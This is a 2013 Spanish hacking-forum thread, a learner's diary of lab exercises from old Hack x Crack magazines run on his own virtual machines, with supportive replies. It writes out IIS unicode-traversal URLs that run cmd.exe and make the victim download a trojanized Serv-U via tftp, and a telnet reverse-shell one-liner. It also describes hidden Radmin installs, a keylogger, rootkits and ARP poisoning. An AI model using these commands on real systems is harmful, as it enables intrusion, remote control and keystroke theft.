Inicio
Buscar
Ingresar
Registrarse
Starfield: el juego que revolucionará el espacio y la tecnología
Hack x Crack - Comunidad de Seguridad informática
»
Hack x Crack
»
Dudas Generales
»
La senda de los antiguos cuadernos... (Actualizado 05-12-2013)
Imprimir
Páginas: [
1
]
Ir Abajo
Autor
Tema: La senda de los antiguos cuadernos... (Actualizado 05-12-2013) (Leído 6414 veces)
ElBarto
{ L0 } Ñuub
Mensajes: 22
La senda de los antiguos cuadernos... (Actualizado 05-12-2013)
«
en:
Junio 04, 2013, 01:24:10 pm »
DECLARACION DE INTENCIONES: es simple...voy a empezar a escribir un diario de viaje por los antiguos cuadernos anotando todo lo que me parezca importante y pertinente, todo esto con la intención de ayudarme en mi jornada y si mis experiencias le aportan algo a alguien...mejor que mejor.
Todo esto puede que te suene egoista, pero te aclaro que "YO NO SOY UN MAESTRO, SINO EL QUE SIENTA EN EL BANCO DE JUNTO" y si te sirve mi tarea te dejo que la copies con gusto.
------------------------------------------------------------------------------------------------------
CUADERNO N° 1:
-Primero instale el virtualbox con dos maquinas virtuales corriendo Win2000 (una con y una sin IIS version 4), esto lo hago porque por ciertas razones mi internet esta filtrada por un web-sense que me obliga a conectarme a un proxy para acceder a las "webs permitidas".
-Suerte que los programas utilizados fueron compilados para nosotros---GRACIAS
-Hasta ahora no muy complicado, salvo tal vez el asimilar la teoria de "PORT MODE - PASV MODE" que me costo varias leidas (muy interesante...).
-Los pasos de la configuracion de los programas estan muy bien explicados. Las maquinas virtuales responden de maravilla por ahora.
-Lo acabo de terminar
----------------------------------------------------------------------------------------------------
CUADERNO N° 2:
-Es una lastima que no existan los servidores de prueba. Igualmente voy a jugar con mi maquina virtual (creo que una conexión de red es una conexión de red, no importa que sea a
www.google.com
, una maquina virtual o mi direccion local 127.0.0.1 ¿no?). Igualmente estaria bueno que alguno que tenga una pentium vieja juntando polvo y use poco ancho de banda, le instale un IIS y lo ponga a disposición del que lo necesite.
-Repito tengo dos maquinas virtuales corriendo Win2000 (una con y una sin IIS version 4) corriendo al mismo tiempo en Virtualbox, los adaptadores de red en ambas estan configurados como " Red Interna " y en la configuracion de red de windows "deteccion automatica de IP". Pruebo hacer ping entre las 2....conectan.
-Shadow Security Scanner (SSS) instrucciones simples. Configuro las auditorias, pongo la ip de mi victima (pongo un rango para que se sienta mas real jaja) y "Scan all".
-Sip...detecto el bug...sigo las instrucciones al pie de la letra, doy un solo click en el link del script (no hacen falta 2 como dice la revista) y puedo ver en el internet explorer un "dir" del disco de mi victima.
-¡Ojo! esto ya lo habia visto hace un tiempo... en la revista me pide que cree un archivo "prueba.txt" y que pase el serv-u troyanizado a la carpeta "c:\winnt\system32" de mi victima, pero por mas que ejecute el script, no pasa nada (creo que el cmd.exe no responde porque hay una protección de algun tipo en la carpeta "system32" de la victima).
-Mi solución al prueba.txt: cree una copia de cmd.exe en c: (o en otro directorio distinto de system32) y uso ese cmd.exe para crear el "prueba.txt".
-Copiando el cmd.exe a C: : http://<IP DE LA VICTIMA>/scripts/..%c0%af../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\cmd.exe
-Ahora uso el script asi: http://<IP DE LA VICTIMA>/scripts/..%c0%af../cmd.exe?/c+<COMANDOS>
-Mi solución para subir el serv-u a la victima a la carpeta Scripts (que es la carpeta por defecto, sino prueben "http://<IP DELA VICTIMA>/scripts/..%c0%af../cmd.exe?/c+dir" y vean la ruta):
http://<IP DE LA VICTIMA>/scripts/..%c0%af../cmd.exe?/c+c:\winnt\system32\tftp.exe%20-i%20<MI IP>%20get%20amdset.dll%20amdset.dll
-Me paso que cuando aplicaba el script creando directorios o archivos, al mandar un "dir" me aparecia todo igual como si no hubiera creado nada, esto me pasaba porque cuando enviaba el script, el internet explorer me respondia desde el historial. Lo solucione yendo a herramientas--->opciones y en dias que puede guardar el historial ponerlo en 0
-Me quedo una duda ¿que diferencia habra entre el simbolo "+" y "%20" del Script?
-Lo acabo de terminar
-----------------------------------------------------------------------------------------------
CUADERNO N° 3:
-Siguiendo la instrucciones cuando quiero "ocultar mis pasos" con proxies me doy cuenta que mi websense no me permite conectarme a ninguno (tambien probe la via del sockschain-sockscap con el mismo resultado, al poner testear me daban todos error).
-Como para poder navegar yo uso el "ultrasurf" probe configurar el sockscap para que use como servidor la ip y el puerto de escucha del Ultrasurf, añadi el internet explorer como muestra la revista pero....no conecta....
-No me queda otra opción que seguir haciendo las pruebas solo entre mis maquinas virtuales (ya encontrare una solución a mi problema, o la aprendere mas adelante en estos cuadernos).
-Subi a mi victima el serv-u troyanizado + el archivo de configuracion y le cambie los atributos sin problemas.
-Muy interesante lo de los codigos ASCII... gracias al que escribio el articulo por rebajarse al nivel de usuario 0 para poder explicarlo.
-Subida y ejecución del netcat sin problemas.
-Me quedo una duda dando vuelta....¿El cliente TFTP de windows " loguea "?, porque si es asi, en el momento en que suba el serv-u o netcat desde el servidor TFTP de mi maquina quedara una huella.
-Lo acabo de terminar.
---------------------------------------------------------------------------------------------------
CUADERNO N°4:
- Configurando el radmin hasta ahora sin problemas...
- Wow...uno no tenia ni idea que pudieran haber opciones sin documentar.
- Sigo sin entender la diferencia entre el "+" y el "%20" en el Script del Bug code-unicode.
- Problema...he "troyanizado" el r_server.exe a truetype.dll, lo he subido a mi victima via TFTP, pero al ejecutarlo no sucede nada, me fije en el administrador de tareas y el proseso truetype.dll no está.
- Voy a hacer una prueba... ejecuto el r_server.exe desde la PC victima y.... me dice que falta una libreria Admdll.dll si no entiendo mal.
- Leyendo por el foro encontre los links en youtube sobre el proceso del Code-decode...ahora lo estoy mirando.
- Ajaaa...el Admdll.dll es un archivo que se encuentra en la carpeta de instalacion del Radmin, asi que para que funcione en el equipo remoto hay que subirle los 2 archivos......Subiendo.
- Perfecto...le subi a la victima el truetype.dll (r_server.exe) y el Admdll.dll y.....conecta....bueno, no del todo. Aclaro: entra en todos los modos pero por alguna razon el Radmin no manda las acciones de mi mouse o mi teclado, o sea que solo puedo visualizar a la victima.
- Sin embargo de este modo no me aparece en la victima el molesto "tray icon".
- Encontre una solucion a mi problema....pero tiene un precio: para que funcione el r_server.exe debe mantener su nombre original (y no truetype.dll)...aunque esto sacrifica ocultación y muestra el Tray icon a la victima.
- Confio que mas adelante se me mostraran los conocimientos para superar esto.
- Lo acabo de terminar.
-------------------------------------------------------------------------------------------------
CUADERNO N°5:
- Rootkits...lo pruebo en una de mis maquinas virtuales. Wow, que resultado y que sencillo de ejecutar (hoy me he vuelto un poco mas "paranoico").
- Compilando el Netcat: me descarguo el Visual Studio 6, lo instalo en mi maquinita virtual "Atacante" (tengo dos corriendo al mismo tiempo... una la "atacante" y otra la "victima"). Sigo la "receta" al pie de la letra....funciona....compilado. (ojalá mas adelante profundicen en la programación en C C++).
- Netbios: instalo el IP-Tools, en mi maquina victima voy conexiones de red y me aseguro que el NetBios este habilitado y pongo una carpeta cualquiera a compartir...corro el Ip-Tools sobre la ip de la victima y ... "Error acceso denegado".
- Mi solución: corro el iptools sobre la ip de mi maquina atacante y detecta las carpetas compartidas con mi maquina principal-huesped.
- Instalo el "Languard" y escaneo la ip de mi victima como dice la revista...me sorprendo cuanta información recopila sobre la misma (muy interesante el tema de lo scanners).
- Si alguien conoce la configuración exacta para que una Pc sea suceptible de ser escaneada con Ip-tools, por favor que lo comparta...
- Lo acabo de terminar.
---------------------------------------------------------------------------------------------
CUADERNO N°6:
- Listado de puertos y servicios dejado "a mano" para cualquier consulta.
- Curso de Visual Basic: yo ya habia programado algunas cositas con "visual" pero igualmente voy a pasar por este curso como si nunca hubiera escuchado sobre el tema. (voy a seguir un enfoque distinto)....Muy bien explicado todo, imposible perderse.
- Ocultación por Stream: solo dire esto...despues de leer el articulo y seguir los "extremadamente simples" pasos, el que escribe apaga la pc, desenchufa el cable de red y la fuente de alimentacion, y se va a llorar a un rincon de la sala....wow, wow, woooooooow, increible que estemos tan expuestos en nuestros windows.
- Trasteando con el hardware de una Lan: Subi y ejecute el keyloger SKLOG a mi maquina victima via code-unicode bug (para no perder la costumbre).
- En efecto el programa funciona perfecto, loguea cada tecla presionada.
- Solo 2 observaciones:
1°: El programa empieza a loguear "despues" de iniciada la sesion de windows y para de loguear al finalizar la misma; de esta manera no puede escanear el user y pass del usuario al arrancar su sesion.
2°: Segun la revista, el programa se camuflaba en la lista de procesos activos (Administrador de tareas) como "winsystem" cosa que no es asi...sino que el proceso se llama "ist2.exe".
- Lo acabo de terminar.
------------------------------------------------------------------------------------------------
CUADERNO N°7:
- Otra vez mala suerte... se me pide tener una conexión a un servidor de correo remoto mediante un cliente en mi pc usando el protocolo POP3; lo malo es que, dados los filtros web a los que estoy sometido, no se me permite usar el puerto standar necesario para realizar la conexión (110).
- Mi solución: instalar mi propio servidor de mail en una de mis maquinas virtuales, y conectarme a esta como si se tratase de un servidor alojado en internet.
- El elegido es el "Argosoft Mail Server", (gratuito obvio).
- Descargo un manual sobre el mismo, lo instalo, configuro el programa, creo una cuenta, trato de enviar un mail desde mi otra maquina......llega a su destino (uuuffffff que alivio).
- Capturo la sesión "snifeando con el IRIS" sin problemas.
- Nunca imagine que podria leer mails por una ventana de comandos via Telnet. Nota: cuando conecto via telnet con mi servidor de mail, si estoy unos minutos inactivo (sin ejecutar ningun comando), me desconecta automaticamente por "ocioso".
- Curso de Visual Basic: explicado hasta el detalle, paso sin problemas.
- IPHXC: prestando atención y sin saltarme ningun paso lo compilo, logro subirlo a mi victima y lo ejecuto satisfactoriamente.
- Nota: en el IPHXC estuve trabado un par de horas por una "pavada". A la hora de escribir me olvide un espacio en:
Inet.Execute "
ftp://USUARIO:PASS@ftp
", "PUT prueba.txt
<ACA IBA UN ESPACIO>
" & Winsock1.LocalHostName & ".txt"
- Apache: instalación sin problemas y testeo sin problemas; espero la continuación en cuadernos posteriores.
- CCproxy: me asombra lo sencillo de "troyanizar" que es este programa al poseer opciones de inicio con el sistema, ocultación del Tray Icon, no almacenar nada en el registro de Windows; y todo esto configurable desde la interfaz grafica del programa. Además de solo necesitar unos pocos archivos para su funcionamiento.
- Duda: si yo creo un .bat con los comandos para subir todos los archivos y ejecutar el CCproxy. ¿Como lo ejecuto en la victima por code-unicode bug?.
- Lo acabo de terminar.
--------------------------------------------------------------------------------------
CUADERNO N°8:
- Curso de linux...despues de leer toda info sobre la historia de linux, me instale una maquina virtual con una distribucion de Debian con un escritorio LXDE para realizar mis pruebas en mi Virtualbox. A esta maquina, antes de instalarle Debian, le configure un adaptador de red como "red interna" para que pueda interactuar con mis otras maquinitas virtuales (Win2000 A y Win2000 B).
- Descargue las fuentes del Netcat v6 de la pagina "
www.deepspace6.net/projects/netcat6.html
" en mi Debian pero.... ya lo tenia instalado por defecto, asi que procedí a removerlo (apt-get autoremove nc6).
- Desempaco las fuentes con "tar xvfj" , entro en el directorio que se creo, aplico el comando " ./configure" y detecta que no tengo instalado ningun compilador de C.
- Instalo el compilador "gcc" ( apt-get install gcc ).
- Aplico "./configure" otra vez...perfecto ahora sin errores.
- Aplico "make" y... errorrrrrrrrr. AaaaHHh no tengo instalada la aplicacion Make...bueno, la instalo ( apt-get install make ).
- Ahora si, "make", "su", "make install" y listo. Pruebo el comando nc6 para ver si lo instalo.... funciona, está instalado.
- Leo el articulo de "Perl", realizo las practicas y me encuentro con 2 problemas:
1) Al inicio del script "archivo.pl" se olvidaron un caracter que lo habian incluido mas arriba: en la primera linea del script cambiar " #/usr/bin/perl " por " #!/usr/bin/perl " (se les escapo el ! ).
2) Cuando quiero ejecutar el script de la forma "./archivo.pl" en vez que con "perl archivo.pl" , me dice "Permiso denegado". Esto me pasaba porque el archivo no tenia permisos de ejecución; los cambio en sus propiedades, ejecuto el mismo comando... y anda perfecto.
- Nota: Como se puede ver, yo descargue una version de Debian bastante "capada" por eso tuve que instalarle el gcc y el make a posteriori. Yo tengo solo un "poquito" de experiencia previa en linux, si alguien esta leyendo esto, puede instalar una distro mas completita que tenga todo ya instalado (creo que Xubuntu o Ubuntu tienen todo).
- Apache... corro el servidor en una de mis maquinas virtuales y hago las practicas sin problemas.
- Nota: en la revista (pag. 24), dice que para que aparezcan los directorios de nuestro servidor en nuestro navegador hay que "comentar" con "#" dos lineas ( "Options FollowSymLinks" y "AllowOverride None") en el archivo de configuración "http.conf". Lo que me paso es que (en mi caso) no importaba si lo comentaba o no, igual se mostraban los directorios en mi navegador....Mi Solucion: en "http.conf" comente con "#" la linea que dice lo siguiente:
"Options Indexes FollowSymLinks MultiViews" quedando "#Options Indexes FollowSymLinks MultiViews"
esta linea se encuentra 22 lineas mas abajo que las antes mencionadas. Si alguien sabe una forma más correcta de hacer esto por favor hagamelo saber.
- Reverse shell... Guau, muy muy muy interesante el comportamiento del Firewall y la tecnica comentada. Solo tuve un inconveniente cuando quise hacer un reverse shell entre mis dos maquinas virtuales con windows 2000 usando el comando "telnet" en la victima en vez del "netcat. Esto fue lo que paso...
Maquina A=> consola1--> nc -vv -L -p 80 consola2--> nc -vv -L -p 443
Maquina B=> consola1--> telnet <IPmaquinaA> 80 | cmd.exe | telnet <IPmaquinaB> 443
Cuando introducia el comando en la Maquina B no sucedia nada ( la maquina A se quedaba escuchando y la maquina B mostraba otra vez el "C:>\"). Buscando por San Google, encontre que el problema está en que en Windows el comando Telnet no es compatible con este tipo de redirección de flujo de datos. En efecto, abri mi maquina virtual de Debian, introduje el mismo comando reemplazando "cmd.exe" por "/bin/sh" y...VOILA! reverse shell ACTIVADO.
- El "rwww-shell.pl"... muy muy bueno; liviano, facil de instalar, facil de configurar y ejecutar. Solo un inconveniente...Windows no trae por defecto un compilador de Perl (asi que le instale uno).
- Curso de Visual Basic...(esto se está poniendo serio).
- Vectores y Arrays...muy bien ilustrado el concepto y exaustivas las explicaciónes de las practicas. Comprendido (aunque requiere cierta abstraccion mental...OOOMMM).
- OCX...guau, muy util para crear nuestras propias "herramientas". Entendido.
- Nota: probando pude ver que de los archivos que crea al "compilar" (espero que esta sea la palabra correcta) el OCX, el unico archivo necesario para poder utilizar el control en un proyecto/ejecutable, es el que tiene extensión .ocx. Esto lo probe borrando los otros archivos. Eso si...si cambio la ubicación del .ocx, al querer ejecutar un programa que lo usa me tira error. (bueno tiempo al tiempo, ya lo aprenderé).
- Serie RAW - protocolo SMTP: mucho para absorber.
- Hice la errata de tratar de conectarme al servidor SMTP de gmail por el conocidisimo puerto "25" (no usa el puerto por default... obbbio).
- Abro las propiedades de mi cuenta en mi cliente de correo y copio los datos correctos....ahora si, telnet conectado.
- Desde aqui sigo las explicaciones al pie de la letra, me mando unos cuantos mails (al mismo tiempo los sniffeo con el IRIS), convierto con el programa base64.exe el user y el pass de mi cuenta en el servidor SMTP y me entretengo con la forma amena en que lleva adelante los ejemplos (muy bueno el final jaja).
- Nota: para no tener que usar archivos como parametros en base64.exe, le introduci las claves directamente por consola de la siguiente manera:
c:\> echo <Texto a convertir> | base64.exe -e (esto muestra por pantalla el texto en base 64)
c:\> echo <Texto en base64> | base64.exe -d (esto muestra por pantalla el texto en formato comun)
- Lo acabo de terminar.
-----------------------------------------------------------------------------------------------
CUADERNO N°9:
- Linux: muy bien explicado y paso a paso. Me hace acordar al dicho...¿Como se hace para comer un elefante?, primero un mordisco, luego otro y otro y otro....
- Apache III: a este tema hay que ponerle "pilas", muchas configuraciones y conceptos nuevos que asimilar. Siguiendo los pasos lo he terminado sin problemas.
- Curso de Visual Basic: Pisando con cuidado... me costo un poco asimilar el concepto de DLL (la parte de la instanciación de variable). Luego de eso marcho todo bien.
- Nmap: Es un programa muy completo, me costo dar con la opcion para que escanee desde mi targeta eternet y no desde mi conección wifi, pero una ves que descubri la opcion "-e" y supe con que nombre reconocia a mis targetas (eth0 y wlan0) no tuve problemas... Eso si, hay mucho para practicar.
- Serie Raw (IRC): lo confieso...soy de esos bichos raros que reniegan de los chats, asi que nunca habia usado IRC antes. Mi solución... meterme en el canal #HackxCarck y ponerme al día. El articulo es extenso, pero los comandos estan (como es costumbre) muy bien explicados asi que a trabajar....
- Mmm, tuve un problema al querer usar los comandos CTCP dentro del comando PRIVMSG que me costo varios dias sortear...
*Descripción del problema: segun la revista para ejecutar un comando de "CTCP" encapsulado dentro del comando "PRIVMSG" del IRC, se debe proceder de la siguiente manera (desde un cliente IRC):
/QUOTE PRIVMSG <NICK> :<Alt+1><COMANDO CTCP><Alt+1>
por ejemplo con el comando PING:
/QUOTE PRIVMSG ElBarto :☺PING 1234567891☺
Al apretar intro solo recibo la notificación de que he enviado la cadena "☺PING 1234567891☺", cuando en realidad la revista dice que tendria que recibir la respuesta del PING.
*Causa: la averigue sniffeando una sesion de IRC por el puerto de escucha del servidor con IRIS, en la cual envié el comando " /PING <nick> " varias veces. Al leer los resultados de la captura de IRIS, me di cuenta que el caracter en el que estaba encapsulado el comando CTCP (que segun la revista se lograba a traves de <Alt+1>), era el caracter "cuadrado" (el mismo que aparece en la revista), y no el caracter que en mi sistema aparecia al ejecutar la misma combinación de teclas: "☺".
*Solución: al no poder lograr el caracter en mi sistema con la teclas <Alt+1> y no poder copiar el caracter de la revista, lo copie y pegue desde la captura de mi sniffer.
-Nota: busque y busque este caracter por internet para copiarlo, pero no lo pude encontrar. Y cuando al fin lo pude lograr desde mi sniffer y quise copiarlo en este post por si alguno lo necesitara, el editor de mensajes no me lo reconoció...es como si fuera incompatible con el formato Web (Si me equivoco o si alguno sabe algo mas hagamelo saber asi corrijo esto).
- Lo acabo de terminar.
-----------------------------------------------------------------------------------------------
CUADERNO N°10:
-Curso de linux: creo usuario "a mano", analizo los cambios en los ficheros passwd y shadow (corre un hilo de baba al ver los pass encriptados en shadow...mmmmmm).
-Editor VI: jaja, siempre le habia escapado a este editor (usaba uno en GUI o a lo sumo "nano" por terminal). Muy util y todo estandar en Unix-Like. Se acaba de convertir en mi editor predeterminado.
-DCC: Muy interesante el aprender metodos que incluyan "ingenieria social". Retomando el hilo del anterior capitulo de la serie RAW lo termino sin problemas.
-Curso visual basic: siguiendo los pasos lo termino sin problemas; aunque soy consciente que para entender "realmente" todo lo relacionado al acceso a datos, uno debe empezar a crear sus propias "herramientas" que incluyan este tipo de objetos.
-XML: Estuve trabado en este tema por mucho tiempo, habia hecho el programa con VB6 que muestra la revista pero quise que en vez de que el path del archivo .xml sea [path = "C:\DocsXml\hola.xml"] , sea [path = App.path + "\docsXML\hola.xml"], asi solo tendria que estar el archivo .xml en cualquier directorio bajo el ejecutable en VB (de esta forma la aplicación seria mas "portable"). Pero por innovar me quede atascado, porque en ves de:
[path = App.path + "
\
docsXML\hola.xml"]
yo use
[path = App.path + "docsXML\hola.xml"] (no percibí que me faltaba el
\
)
Como a veces sucede, tenia la solución enfrente de la nariz y no la veia... bueno, pero ya lo solucioné y puedo continuar.
Un consejo: sean fieles al codigo expuesto en los cuadernos, luego si todo fué bien innoven todo lo que quieran... no ser ansioso ahorra dolores de cabeza.
-Apache+PHP+MySql: la unica complicación fué encontrar las mismas versiones de PHP y MySql que son utilizadas en el articulo; una vez logrado eso, sin mayores complicaciones.
-Lo acabo de terminar.
--------------------------------------------------------------------------------------------
CUADERNO N°11:
-Programación bajo linux: solo una cosa...asegurence que tienen la aplicación "bc" y el "gcc" instalados en sus sistemas linux. Lo demas es seguir los pasos. Ahhhh... estuve trabado un tiempo al no poder ejecutar es "Bash Script" porque al momento de poner las comillas simples, puse las incorrectas ( ' ) cuando en realidad las correctas eran ( ´ ) o sea, para los hispanohablantes, la "tilde"; esto me pasa por no copiar "EXACTAMENTE" el codigo como aparece en la revista (pero ya aprenderé).
-Protocolo FTP: muy bien explicado (teniendo en cuenta que ya se habia visto algo en los primeros cuadernos), sigo los pasos y lo completo sin inconvenientes. Es muy interesante las posibilidades de ataque que permite este protocolo.
-Envenenamiento de ARP: Todo un desafio... me costo horas de releer y releer un mismo parrafo, pero ya está asimilado y sobre todo practicado. Consejo: hagan como yo (y como dice en el final del articulo), montensen 3 maquinas virtuales bajo VirtualBox para hacer todas las pruebas. Si en un punto se traban, no se desanimen, ya que este articulo no estába pensado para nuestro nivel de educación, googleen y pregunten en el foro, vamos que si se puede.
Pequeño problema que se le puede presentar a mas de uno: si despues de utilizar el comando "iptables" tienen problemas de conexión con alguna de sus maquinas, solo deben reiniciar su linux para que todo vuelva a la normalidad.
-Apache Proxy: bastante sencillo de seguir teniendo presente los conocimientos de los anteriores cuadernos. Testeando con mis maquinitas virtuales, funciona a la perfección (salvo por la velociadad de navegación, obio).
-Validación de XML con DTD: Varias leidas para asimilar los conceptos (creo que todo lo relacionado con acceso a base de datos tiene una filosofia propia que me cuesta asimilar). Hago varias pruebas con los ejemplos de la revista en mi Internet Explorer haciendo que reconozca los DTD (y tambien cambiando algun caracter para ver si reconoce la falla)... ahora ya entiendo.
-Curso de Visual Basic: Se me complico un poco el encontrar imagenes para los botones, asi que las hice yo mismo con el viejo "paint". Siguiendo los pasos no tengo problemas. Nunca imagine que fuera tan "simple" crear mi propio navegador web.
-Nota: Vuelvo a "machacar".... la mayoria de las trabas que se me han presentado han sido por no leer bien una instruccion o por querer hacer la cosas a "mi modo". La soluciónes de los problemas mas complejos suelen ser las mas simples.
«
Última modificación: Diciembre 05, 2013, 01:16:27 pm por ElBarto
»
En línea
Prow
{ L7 } Juanker
Mensajes: 1223
Re:La senda de los antiguos cuadernos...
«
Respuesta #1 en:
Junio 04, 2013, 02:15:08 pm »
Me parece una buena idea, aunque creo que deberías acompañar la bitácora de tus experiencias con algunas explicaciones escenciales para que el aporte sirva de ayuda a los demás.
Saludos, buena iniciativa.
En línea
r00t
{ L0 } Ñuub
Mensajes: 30
Re:La senda de los antiguos cuadernos...
«
Respuesta #2 en:
Junio 04, 2013, 03:11:59 pm »
Me parece muy interesante tu idea!, lo que podrias hacer es ir explicando las cosas que te resultaron dificiles, como las resolviste/entendiste y demas, para los que quieran agarrar los cuadernos viejos puedan tener una explicacion "extra" y mas a nivel usuario digamos.
sigue asi!
PD: algun dia voy a volver a agarrar los cuadernos viejos jeje que con el tiempo que lleva aprender a programar en php,mysql,ajax,javascript y java no tengo tiempo S:
En línea
JAG
{ L7 } Juanker
Mensajes: 1561
Re:La senda de los antiguos cuadernos...
«
Respuesta #3 en:
Junio 04, 2013, 03:22:17 pm »
Hola ElBarto! Que tal?
Decirte que has decidido hacer un muy buen aporte... sigue con ello, va a servir de ayuda a muchos... te lo hago fijo en la sección ok?
Un saludo!
En línea
Rhema
{ L2 } Nativo Digital
Mensajes: 140
HackxCrack! Tu Casa, Mi Casa ;)
Re:La senda de los antiguos cuadernos... (Actualizado 13-06-2013)
«
Respuesta #4 en:
Junio 14, 2013, 10:27:13 am »
Un exito de post bro, muchas gracias por tu ayuda jeje, disfruta esos cuadernos que son clasicos y deliciosos.
En línea
Mañana Es Hoy... Decidete
"Ni El Mejor Antivirus Podria Proteger El Ordenador, Del Peor Virus: El De Los 10 Dedos (Usuarios)"
JAR.!
Jesus..! <3
claudioalfa
{ L0 } Ñuub
Mensajes: 6
Re:La senda de los antiguos cuadernos... (Actualizado 16-10-2013)
«
Respuesta #5 en:
Octubre 17, 2013, 01:18:20 am »
me parece muy interesante tu propuesta amigo...estaré visitando es articulo de vez en cuando porque planeo continuar con los cuadernos viejos
En línea
"La verdad siempre esta encima de la mentira, si todo fuera una mentira, la mentira sería la verdad"
<[Zoro]248>
{ L7 } Juanker
Mensajes: 1435
Re:La senda de los antiguos cuadernos... (Actualizado 16-10-2013)
«
Respuesta #6 en:
Octubre 17, 2013, 06:06:08 am »
Excelente idea, estare al pendiente de este post!
En línea
La Ignorancia es Felicidad pero el Conocimiento te hace Libre!, pero al final tu decides
JULY
{ L6 } Flooder del foro
Mensajes: 753
Inmutable
Re:La senda de los antiguos cuadernos... (Actualizado 16-10-2013)
«
Respuesta #7 en:
Octubre 17, 2013, 08:07:11 pm »
Muy buena idea y util para el que quiere estudiar los cuadernos viejos.
Vas a tener alguno problemas porque algunas cosas ya no funcionan
Hay que tratar de usar los soft con la version que dice en los cuadernos
Gracias y saludos
En línea
k133
{ L3 } Über
Mensajes: 201
Re:La senda de los antiguos cuadernos... (Actualizado 16-10-2013)
«
Respuesta #8 en:
Octubre 18, 2013, 11:03:56 pm »
Ja ja que buena, no había visto este post y me gusta
.
En línea
Linux member #545609
Imprimir
Páginas: [
1
]
Ir Arriba
Hack x Crack - Comunidad de Seguridad informática
»
Hack x Crack
»
Dudas Generales
»
La senda de los antiguos cuadernos... (Actualizado 05-12-2013)
Va un mudo y le dice a un sordo: Hack x Crack usa cookies. Pues eso...
OK
Learn more